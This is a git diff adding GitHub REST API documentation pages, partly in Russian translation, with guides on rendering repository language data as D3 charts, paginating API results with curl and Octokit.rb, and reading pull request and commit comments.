+ - /traversing-with-pagination + - /building-a-ci-server + - /best-practices-for-integrators + - /getting-started-with-the-git-database-api + - /getting-started-with-the-checks-api +ms.openlocfilehash: 6441ccaa503fd348fa67ab4c896cb5470690149a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146200133' +--- +Этот раздел документации призван помочь вам приступить к работе с реальными приложениями API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. Мы рассмотрим все аспекты, которые вам нужно знать: от проверки подлинности до обработки результатов и их объединения с результатами, полученными от других приложений. +Каждый учебник будет содержать проект, который хранится вместе с документацией в нашем общедоступном репозитории [platform-samples](https://github.com/github/platform-samples). +![Octocat](/assets/images/electrocat.png) diff --git a/translations/ru-RU/content/rest/guides/rendering-data-as-graphs.md b/translations/ru-RU/content/rest/guides/rendering-data-as-graphs.md new file mode 100644 index 000000000000..a2052aaae368 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/rendering-data-as-graphs.md @@ -0,0 +1,346 @@ +--- +title: Отрисовка данных в виде диаграмм +intro: 'Узнайте, как визуализировать языки программирования из репозитория с помощью библиотек D3.js и Ruby Octokit.' +redirect_from: + - /guides/rendering-data-as-graphs + - /v3/guides/rendering-data-as-graphs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: e613c2f707db1030b9e2e5c40de98f2628c0ca3b +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878373' +--- +В этом руководстве мы используем API для получения сведений о принадлежащих нам репозиториях и языках программирования, которые в них применяются. Затем мы визуализируем эти сведения несколькими разными способами с помощью библиотеки [D3.js][D3.js]. Для взаимодействия с API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} мы используем отличную библиотеку Ruby, которая называется [Octokit][Octokit]. + +Перед тем как приступать к изучению этого примера ознакомьтесь с [руководством по основам проверки подлинности][basics-of-authentication], если вы еще этого не сделали. Полный исходный код этого проекта можно найти в репозитории [platform-samples][platform samples]. + +Давайте приступим! + +## Настройка приложения OAuth + +Сначала [зарегистрируйте новое приложение][new oauth application] на {% data variables.product.product_name %}. Задайте `http://localhost:4567/` в качестве основного URL-адреса и URL-адреса обратного вызова. Как и [ранее][basics-of-authentication], мы будем осуществлять проверку подлинности для API, реализовав ПО промежуточного слоя Rack с помощью [sinatra-auth-github][sinatra auth github]: + +``` ruby +require 'sinatra/auth/github' + +module Example + class MyGraphApp < Sinatra::Base + # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! + # Instead, set and test environment variables, like below + # if ENV['GITHUB_CLIENT_ID'] && ENV['GITHUB_CLIENT_SECRET'] + # CLIENT_ID = ENV['GITHUB_CLIENT_ID'] + # CLIENT_SECRET = ENV['GITHUB_CLIENT_SECRET'] + # end + + CLIENT_ID = ENV['GH_GRAPH_CLIENT_ID'] + CLIENT_SECRET = ENV['GH_GRAPH_SECRET_ID'] + + enable :sessions + + set :github_options, { + :scopes => "repo", + :secret => CLIENT_SECRET, + :client_id => CLIENT_ID, + :callback_url => "/" + } + + register Sinatra::Auth::Github + + get '/' do + if !authenticated? + authenticate! + else + access_token = github_user["token"] + end + end + end +end +``` + +Настройте файл _config.ru_ аналогично предыдущему примеру: + +``` ruby +ENV['RACK_ENV'] ||= 'development' +require "rubygems" +require "bundler/setup" + +require File.expand_path(File.join(File.dirname(__FILE__), 'server')) + +run Example::MyGraphApp +``` + +## Получение сведений о репозиториях + +На этот раз для взаимодействия с API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} мы будем использовать [библиотеку Ruby Octokit][Octokit]. Это гораздо проще, чем напрямую совершать множество вызовов REST. Кроме того, библиотека Octokit была разработана пользователем GitHub и активно поддерживается, поэтому вы можете быть уверены, что она будет работать. + +Проверка подлинности в API с помощью Octokit выполняется очень просто. Просто передайте имя входа и токен в конструктор `Octokit::Client`: + +``` ruby +if !authenticated? + authenticate! +else + octokit_client = Octokit::Client.new(:login => github_user.login, :oauth_token => github_user.token) +end +``` + +Давайте сделаем что-нибудь интересное со сведениями о репозиториях. Мы узнаем, какие языки программирования в них применяются, и подсчитаем, какие из них используются чаще всего. Для этого сначала потребуется получить список репозиториев от API. +С помощью Octokit это можно сделать так: + +``` ruby +repos = client.repositories +``` + +Затем мы переберем все репозитории и подсчитаем, с каким количеством из них связан каждый язык на {% data variables.product.product_name %}: + +``` ruby +language_obj = {} +repos.each do |repo| + # sometimes language can be nil + if repo.language + if !language_obj[repo.language] + language_obj[repo.language] = 1 + else + language_obj[repo.language] += 1 + end + end +end + +languages.to_s +``` + +После перезапуска сервера веб-страница должна выглядеть примерно так: + +``` ruby +{"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1} +``` + +Неплохо, но не очень удобно для восприятия. Визуализация поможет нам понять количественное распределение языков. Давайте подадим полученные цифры в D3, чтобы получить аккуратную гистограмму, на которой представлена популярность используемых языков. + +## Визуализация количества языков + +D3.js или просто D3 — это эффективная библиотека для создания диаграмм, графиков и интерактивных визуализаций множества типов. +Подробное описание использования D3 выходит за рамки этого руководства, однако вы можете ознакомиться с хорошей вводной статьей [D3 for Mortals][D3 mortals] (D3 для простых смертных). + +D3 — это библиотека JavaScript, поэтому с данными предпочтительно работать в виде массивов. Поэтому давайте преобразуем хэш Ruby в массив JSON для использования на JavaScript в браузере. + +``` ruby +languages = [] +language_obj.each do |lang, count| + languages.push :language => lang, :count => count +end + +erb :lang_freq, :locals => { :languages => languages.to_json} +``` + +Мы просто перебираем каждую пару "ключ-значение" в объекте и помещаем ее в новый массив. Мы не сделали этого ранее, потому что не хотели выполнять итерацию по объекту `language_obj` во время его создания. + +Теперь в файл _lang_freq.erb_ нужно добавить код JavaScript для отрисовки гистограммы. +Пока вы можете просто использовать приведенный здесь код, а чтобы узнать больше о том, как работает D3, обратитесь к ресурсам по ссылкам выше: + +``` html + + + + + + + + +

Check this sweet data out:

+
+ + + + +``` + +Наконец-то. Опять же, не особо важно, что делает большая часть этого кода. Нас интересует только строка вверху: `var data = <%= languages %>;`. Она указывает, что мы передаем ранее созданный массив `languages` в ERB для обработки. + +Как говорится в руководстве D3 for Mortals, это, вероятно, не лучшее применение для D3. Но оно позволяет продемонстрировать, как эту библиотеку можно использовать с Octokit для реализации потрясающих возможностей. + +## Сочетание разных вызовов API + +Пора признаться кое в чем: атрибут `language` в репозитории указывает только язык, который определен как "основной". Это означает, что если есть репозиторий, в котором применяется несколько языков, основным считается язык, на котором написан наибольший объем кода. + +Давайте объединим несколько вызовов API, чтобы получить _истинное_ представление о том, на каком языке написано наибольшая часть всего кода. [Диаграмма "дерево"][D3 treemap] должна отлично подойти для визуализации доли использования языков программирования, а не просто их числа. Нам потребуется создать массив объектов наподобие следующего: + +``` json +[ { "name": "language1", "size": 100}, + { "name": "language2", "size": 23} + ... +] +``` + +Так как у нас уже есть список репозиториев, давайте проверим каждый из них и вызовем [метод API для получения списка языков][language API]: + +``` ruby +repos.each do |repo| + repo_name = repo.name + repo_langs = octokit_client.languages("#{github_user.login}/#{repo_name}") +end +``` + +Далее мы суммируем случаи обнаружения каждого языка: + +``` ruby +repo_langs.each do |lang, count| + if !language_obj[lang] + language_obj[lang] = count + else + language_obj[lang] += count + end +end +``` + +После этого мы отформатируем содержимое в виде структуры, которую поддерживает библиотека D3: + +``` ruby +language_obj.each do |lang, count| + language_byte_count.push :name => "#{lang} (#{count})", :count => count +end + +# some mandatory formatting for D3 +language_bytes = [ :name => "language_bytes", :elements => language_byte_count] +``` + +(Дополнительные сведения об абстракции диаграммы "дерево" в D3 см. в [этом простом учебнике][language API].) + +В заключение мы передаем эти сведения JSON в тот же шаблон ERB: + +``` ruby +erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json} +``` + +Как и ранее, приведем код JavaScript, который можно напрямую добавить в шаблон: + +``` html +
+ +``` + +Вуаля! Красивые прямоугольники, позволяющие с одного взгляда оценить относительную долю использования того или иного языка в репозиториях. Для правильного отображения всех сведений может потребоваться настроить высоту и ширину диаграммы "дерево", передаваемую в первых двух аргументах `drawTreemap` выше. + + +[D3.js]: http://d3js.org/ +[basics-of-authentication]: /rest/guides/basics-of-authentication +[sinatra auth github]: https://github.com/atmos/sinatra_auth_github +[Octokit]: https://github.com/octokit/octokit.rb +[D3 mortals]: http://www.recursion.org/d3-for-mere-mortals/ +[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html +[language API]: /rest/reference/repos#list-repository-languages +[simple tree map]: http://2kittymafiasoftware.blogspot.com/2011/09/simple-treemap-visualization-with-d3.html +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs +[new oauth application]: https://github.com/settings/applications/new diff --git a/translations/ru-RU/content/rest/guides/traversing-with-pagination.md b/translations/ru-RU/content/rest/guides/traversing-with-pagination.md new file mode 100644 index 000000000000..f47cd8dbbfa3 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/traversing-with-pagination.md @@ -0,0 +1,350 @@ +--- +title: Traversing with pagination +intro: Explore how to use pagination to manage your responses with some examples using the Search API. +redirect_from: + - /guides/traversing-with-pagination + - /v3/guides/traversing-with-pagination +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Traverse with pagination +miniTocMaxHeadingLevel: 3 +--- + +The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume. +Most of the time, you might even find that you're asking for _too much_ information, +and in order to keep our servers happy, the API will automatically [paginate the requested items](/rest/overview/resources-in-the-rest-api#pagination). + +In this guide, we'll make some calls to the Search API, and iterate over +the results using pagination. You can find the complete source code for this project +in the [platform-samples][platform samples] repository. + +{% data reusables.rest-api.dotcom-only-guide-note %} + + + +## Basics of Pagination + +To start with, it's important to know a few facts about receiving paginated items: + + +1. Different API calls respond with different defaults. For example, a call to +[List public repositories](/rest/reference/repos#list-public-repositories) +provides paginated items in sets of 30, whereas a call to the GitHub Search API +provides items in sets of 100 +2. You can specify how many items to receive (up to a maximum of 100); but, +3. For technical reasons, not every endpoint behaves the same. For example, +[events](/rest/reference/activity#events) won't let you set a maximum for items to receive. +Be sure to read the documentation on how to handle paginated results for specific endpoints. + +{% note %} + +**Note**: You should always rely on URLs included in the link header. Don't try to guess or construct your own URLs. + +{% endnote %} + + +### Link header + +The response header includes information about pagination. For more information about headers, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#about-the-response-code-and-headers)." To get the response header, include the `-I` flag in your request. For example: + +```shell +$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN" https://api.github.com/enterprises/advacado-corp/audit-log + +``` + +The `-I` flag returns only the response header. If the response is paginated, the response header will include a `link` header. The header will look something like this: + +``` +link: ; rel="next" +``` + +or + +``` +link: ; rel="next", ; rel="last" +``` +### Types of pagination + +{% data variables.product.company_short %}'s API uses two pagination methods: page-based pagination and cursor-based pagination. If the `link` header includes `page`, then the operation uses page-based pagination. If the `link` header includes `before` and `after`, then the operation uses cursor-based pagination. + + +#### Page based pagination + +The link header for page-based pagination will tell you information about the previous, next, first, and last pages. If you did not request a specific page, then the response will default to the first page and information about the first and previous pages will be omitted. + +For example, for a request that did not specify a page, this header states that the next page is `2` and the last page is `511`. + +``` +link: ; rel="next", ; rel="last" +``` + +For example, for a request that specified page 5, this header states that the previous page is `4`, the next page is `6`, the last page is `511`, and the first page is `1`. + +``` +link: ; rel="prev", ; rel="next", ; rel="last", ; rel="first" +``` + +#### Cursor based pagination + +Cursor pagination uses terms `before` and `after` in order to navigate through pages. `rel="next"` and `rel="prev"` this mark the cursor point in the data set and provides a reference for traveling to the page `before` and `after` the current page. + +``` +link: ; rel="next", +; rel="first", +; rel="prev" +``` + +In this example, `rel=next` says that the next page is located at: + +``` +after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=> +``` + + + + +### Using pagination + +#### Cursor based pagination + +Using cursor based pagination requires you to use the terms `before` and `after`. To navigate using `before` and `after`, copy the link header generated above into your curl request: + +```shell +$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN" https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=> +``` + +The above example will generate a page of results and new header information that you can use to make the next request. `rel="next"` provides the next page of results. `rel="prev"` provides the previous page of results. The important part of the output here is the link header needs to be generated rather than manually imputed. Copy the entire link from the following output. + +``` +link: ; rel="next", +; rel="first", +; rel="prev" +``` + +Unlike page-based pagination, the results will not return the last page number in the response. + + link: ; rel="next", + ; rel="first", + ; rel="prev" + +Because cursor based pagination creates a reference point in the data set, it cannot calculate the total number of results. + + +#### Page based pagination + +To navigate using page based pagination pass in a `page` +parameter. By default, `page` always starts at `1`. In the following example, we have made a curl request to the search API Mozilla projects use the phrase `addClass`. Instead of starting at 1, lets jump to page 14. + +```shell +$ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14" +``` + +Here's an except of the link header in the HTTP request: + + Link: ; rel="next", + ; rel="last", + ; rel="first", + ; rel="prev" + +In this example, `rel="next"` is at 15, and `rel="last"` is 34. But now we've +got some more information: `rel="first"` indicates the URL for the _first_ page, +and more importantly, `rel="prev"` lets you know the page number of the previous +page. Using this information, you could construct some UI that lets users jump +between the first, previous, next, or last list of results in an API call. + + +### Changing the number of items received + +#### Page based pagination + +By passing the `per_page` parameter, you can specify how many items you want +each page to return, up to 100 items. Let's try asking for 50 items about `addClass`: + +```shell +$ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50" +``` + +Notice what it does to the header response: + + Link: ; rel="next", + ; rel="last" + +As you might have guessed, the `rel="last"` information says that the last page +is now 20. This is because we are asking for more information per page about +our results. + +#### Cursor based pagination + +You can also pass the `per_page` parameter for cursor-based pagination. + +```shell +$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN" https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=>&per_page=50 +``` + +## Consuming the information + +You don't want to be making low-level curl calls just to be able to work with +pagination, so let's write a little Ruby script that does everything we've +just described above. + +As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library, and +pass in our [{% data variables.product.pat_generic %}][personal token]: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] +``` + +Next, we'll execute the search, using Octokit's `search_code` method. Unlike +using `curl`, we can also immediately retrieve the number of results, so let's +do that: + +``` ruby +results = client.search_code('addClass user:mozilla') +total_count = results.total_count +``` + +Now, let's grab the number of the last page, similar to `page=34>; rel="last"` +information in the link header. Octokit.rb support pagination information through +an implementation called "[Hypermedia link relations][hypermedia-relations]." +We won't go into detail about what that is, but, suffice to say, each element +in the `results` variable has a hash called `rels`, which can contain information +about `:next`, `:last`, `:first`, and `:prev`, depending on which result you're +on. These relations also contain information about the resulting URL, by calling +`rels[:last].href`. + +Knowing this, let's grab the page number of the last result, and present all +this information to the user: + +``` ruby +last_response = client.last_response +number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1] + +puts "There are #{total_count} results, on #{number_of_pages} pages!" +``` + +Finally, let's iterate through the results. You could do this with a loop `for i in 1..number_of_pages.to_i`, +but instead, let's follow the `rels[:next]` headers to retrieve information from +each page. For the sake of simplicity, let's just grab the file path of the first +result from each page. To do this, we'll need a loop; and at the end of every loop, +we'll retrieve the data set for the next page by following the `rels[:next]` information. +The loop will finish when there is no `rels[:next]` information to consume (in other +words, we are at `rels[:last]`). It might look something like this: + +``` ruby +puts last_response.data.items.first.path +until last_response.rels[:next].nil? + last_response = last_response.rels[:next].get + puts last_response.data.items.first.path +end +``` + +Changing the number of items per page is extremely simple with Octokit.rb. Simply +pass a `per_page` options hash to the initial client construction. After that, +your code should remain intact: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] + +results = client.search_code('addClass user:mozilla', :per_page => 100) +total_count = results.total_count + +last_response = client.last_response +number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1] + +puts last_response.rels[:last].href +puts "There are #{total_count} results, on #{number_of_pages} pages!" + +puts "And here's the first path for every set" + +puts last_response.data.items.first.path +until last_response.rels[:next].nil? + last_response = last_response.rels[:next].get + puts last_response.data.items.first.path +end +``` + +## Constructing Pagination Links + +Normally, with pagination, your goal isn't to concatenate all of the possible +results, but rather, to produce a set of navigation, like this: + +![Sample of pagination links](/assets/images/pagination_sample.png) + +Let's sketch out a micro-version of what that might entail. + +From the code above, we already know we can get the `number_of_pages` in the +paginated results from the first call: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] + +results = client.search_code('addClass user:mozilla') +total_count = results.total_count + +last_response = client.last_response +number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1] + +puts last_response.rels[:last].href +puts "There are #{total_count} results, on #{number_of_pages} pages!" +``` + +From there, we can construct a beautiful ASCII representation of the number boxes: +``` ruby +numbers = "" +for i in 1..number_of_pages.to_i + numbers << "[#{i}] " +end +puts numbers +``` + +Let's simulate a user clicking on one of these boxes, by constructing a random +number: + +``` ruby +random_page = Random.new +random_page = random_page.rand(1..number_of_pages.to_i) + +puts "A User appeared, and clicked number #{random_page}!" +``` + +Now that we have a page number, we can use Octokit to explicitly retrieve that +individual page, by passing the `:page` option: + +``` ruby +clicked_results = client.search_code('addClass user:mozilla', :page => random_page) +``` + +If we wanted to get fancy, we could also grab the previous and next pages, in +order to generate links for back (`<<`) and forward (`>>`) elements: + +``` ruby +prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)" +next_page_href = client.last_response.rels[:next] ? client.last_response.rels[:next].href : "(none)" + +puts "The prev page link is #{prev_page_href}" +puts "The next page link is #{next_page_href}" +``` + +[pagination]: /rest#pagination +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/traversing-with-pagination +[octokit.rb]: https://github.com/octokit/octokit.rb +[personal token]: /articles/creating-an-access-token-for-command-line-use +[hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination +[listing commits]: /rest/reference/commits#list-commits diff --git a/translations/ru-RU/content/rest/guides/working-with-comments.md b/translations/ru-RU/content/rest/guides/working-with-comments.md new file mode 100644 index 000000000000..201ac1ffe3c9 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/working-with-comments.md @@ -0,0 +1,129 @@ +--- +title: Working with comments +intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.' +redirect_from: + - /guides/working-with-comments + - /v3/guides/working-with-comments +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +--- + + + +For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views: +[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request, +and [comments on a specific commit][commit comment] within the Pull Request. + +Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. +In this guide, we'll explore how you can access and manipulate each one. For every +example, we'll be using [this sample Pull Request made][sample PR] on the "octocat" +repository. As always, samples can be found in [our platform-samples repository][platform-samples]. + +## Pull Request Comments + +To access comments on a Pull Request, you'll go through [the Issues API][issues]. +This may seem counterintuitive at first. But once you understand that a Pull +Request is just an Issue with code, it makes sense to use the Issues API to +create comments on a Pull Request. + +We'll demonstrate fetching Pull Request comments by creating a Ruby script using +[Octokit.rb][octokit.rb]. You'll also want to create a [{% data variables.product.pat_generic %}][personal token]. + +The following code should help you get started accessing comments from a Pull Request +using Octokit.rb: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] + +client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment| + username = comment[:user][:login] + post_date = comment[:created_at] + content = comment[:body] + + puts "#{username} made a comment on #{post_date}. It says:\n'#{content}'\n" +end +``` + +Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`), +providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID +we're interested in (`1176`). After that, it's simply a matter of iterating through +the comments to fetch information about each one. + +## Pull Request Comments on a Line + +Within the diff view, you can start a discussion on a particular aspect of a singular +change made within the Pull Request. These comments occur on the individual lines +within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API]. + +The following code fetches all the Pull Request comments made on files, given a single Pull Request number: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] + +client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment| + username = comment[:user][:login] + post_date = comment[:created_at] + content = comment[:body] + path = comment[:path] + position = comment[:position] + + puts "#{username} made a comment on #{post_date} for the file called #{path}, on line #{position}. It says:\n'#{content}'\n" +end +``` + +You'll notice that it's incredibly similar to the example above. The difference +between this view and the Pull Request comment is the focus of the conversation. +A comment made on a Pull Request should be reserved for discussion or ideas on +the overall direction of the code. A comment made as part of a Pull Request review should +deal specifically with the way a particular change was implemented within a file. + +## Commit Comments + +The last type of comments occur specifically on individual commits. For this reason, +they make use of [the commit comment API][commit comment API]. + +To retrieve the comments on a commit, you'll want to use the SHA1 of the commit. +In other words, you won't use any identifier related to the Pull Request. Here's an example: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] + +client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a4edd96e").each do |comment| + username = comment[:user][:login] + post_date = comment[:created_at] + content = comment[:body] + + puts "#{username} made a comment on #{post_date}. It says:\n'#{content}'\n" +end +``` + +Note that this API call will retrieve single line comments, as well as comments made +on the entire commit. + +[PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792 +[PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889 +[commit comment]: https://github.com/octocat/Spoon-Knife/commit/cbc28e7c8caee26febc8c013b0adfb97a4edd96e#commitcomment-4049848 +[sample PR]: https://github.com/octocat/Spoon-Knife/pull/1176 +[platform-samples]: https://github.com/github/platform-samples/tree/master/api/ruby/working-with-comments +[issues]: /rest/reference/issues#comments +[personal token]: /articles/creating-an-access-token-for-command-line-use +[octokit.rb]: https://github.com/octokit/octokit.rb +[PR Review API]: /rest/reference/pulls#comments +[commit comment API]: /rest/reference/commits#get-a-commit-comment diff --git a/translations/ru-RU/content/rest/index.md b/translations/ru-RU/content/rest/index.md new file mode 100644 index 000000000000..286fadf2cd85 --- /dev/null +++ b/translations/ru-RU/content/rest/index.md @@ -0,0 +1,88 @@ +--- +title: REST API GitHub +shortTitle: REST API +intro: 'Чтобы создавать интеграции, извлекать данные и автоматизировать рабочие процессы, используйте при сборке REST API для {% data variables.product.prodname_dotcom %}.' +introLinks: + quickstart: /rest/quickstart + overview: /rest/guides/getting-started-with-the-rest-api +featuredLinks: + guides: + - /rest/guides/getting-started-with-the-rest-api + - /rest/guides/basics-of-authentication + - /rest/guides/best-practices-for-integrators + popular: + - /rest/overview/resources-in-the-rest-api + - /rest/overview/other-authentication-methods + - /rest/overview/troubleshooting + - /rest/overview/endpoints-available-for-github-apps + - /rest/overview/openapi-description + guideCards: + - /rest/guides/delivering-deployments + - /rest/guides/getting-started-with-the-checks-api + - /rest/guides/traversing-with-pagination +changelog: + label: 'api, apis' +layout: product-landing +redirect_from: + - /v3 + - /rest/reference +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /quickstart + - /overview + - /guides + - /actions + - /activity + - /apps + - /billing + - /branches + - /checks + - /codes-of-conduct + - /code-scanning + - /codespaces + - /collaborators + - /commits + - /dependabot + - /dependency-graph + - /deploy-keys + - /deployments + - /emojis + - /enterprise-admin + - /gists + - /git + - /gitignore + - /interactions + - /issues + - /licenses + - /markdown + - /meta + - /metrics + - /migrations + - /oauth-authorizations + - /orgs + - /packages + - /pages + - /projects + - /pulls + - /rate-limit + - /reactions + - /releases + - /repos + - /scim + - /search + - /secret-scanning + - /teams + - /users + - /webhooks +ms.openlocfilehash: d4d7e93d5bc22833168a932e047525c85e3f8768 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147673641' +--- + diff --git a/translations/ru-RU/content/rest/interactions/index.md b/translations/ru-RU/content/rest/interactions/index.md new file mode 100644 index 000000000000..ef186c1ac0e4 --- /dev/null +++ b/translations/ru-RU/content/rest/interactions/index.md @@ -0,0 +1,24 @@ +--- +title: Взаимодействия +intro: С помощью API взаимодействия пользователи с доступом владельца или администратора могут задать ограничение на взаимодействие для пользователей в своих организациях и репозиториях. +redirect_from: + - /v3/interactions + - /rest/reference/interactions +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /orgs + - /repos + - /user +ms.openlocfilehash: 5c9014c2cfa6caafe50a1c9ad2d6d9b6e55888f8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147886785' +--- +Пользователи взаимодействуют с репозиториями, комментируя, открывая проблемы и создавая запросы на вытягивание. API взаимодействия позволяют пользователям с доступом владельца или администратора временно ограничить взаимодействие с общедоступными репозиториями определенному типу пользователя. diff --git a/translations/ru-RU/content/rest/interactions/orgs.md b/translations/ru-RU/content/rest/interactions/orgs.md new file mode 100644 index 000000000000..91093305e271 --- /dev/null +++ b/translations/ru-RU/content/rest/interactions/orgs.md @@ -0,0 +1,27 @@ +--- +title: Взаимодействие с организацией +shortTitle: Organization +intro: 'API взаимодействия с организацией позволяет владельцам организации временно ввести ограничения на то, какие типы пользователей могут комментировать, открывать проблемы или создавать запросы на вытягивание в общедоступных репозиториях организации.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: f06bfbe50c7fa43d03329d69bba8816e4559565a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062469' +--- +## Сведения об API взаимодействия с организацией + +API взаимодействия с организацией позволяет владельцам организации временно ввести ограничения на то, какие типы пользователей могут комментировать, открывать проблемы или создавать запросы на вытягивание в общедоступных репозиториях организации. {% data reusables.interactions.interactions-detail %} Дополнительные сведения о типах пользователей {% data variables.product.product_name %}: + +* {% data reusables.interactions.existing-user-limit-definition %} в организации. +* {% data reusables.interactions.contributor-user-limit-definition %} в организации. +* {% data reusables.interactions.collaborator-user-limit-definition %} в организации. + +Установка ограничения взаимодействия на уровне организации перезапишет все ограничения взаимодействия, заданные для отдельных репозиториев, принадлежащих организации. Чтобы задать различные ограничения взаимодействия для отдельных репозиториев, принадлежащих организации, используйте конечные точки взаимодействия [репозитория](#repository). diff --git a/translations/ru-RU/content/rest/interactions/repos.md b/translations/ru-RU/content/rest/interactions/repos.md new file mode 100644 index 000000000000..8e8480ef3017 --- /dev/null +++ b/translations/ru-RU/content/rest/interactions/repos.md @@ -0,0 +1,27 @@ +--- +title: Взаимодействия с репозиторием +shortTitle: Repository +intro: 'API взаимодействий с репозиторием позволяет пользователям с доступом владельца или администратора временно ограничить, какой тип пользователей может комментировать, открывать проблемы или создавать запросы на вытягивание в общедоступном репозитории.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: e1d7d0137ddc2334bb08e17a0c8d7069c13d982d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147064669' +--- +## Сведения об API взаимодействий с репозиторием + +API взаимодействий с репозиторием позволяет пользователям с доступом владельца или администратора временно ограничить, какой тип пользователей может комментировать, открывать проблемы или создавать запросы на вытягивание в общедоступном репозитории. {% data reusables.interactions.interactions-detail %} Дополнительные сведения об 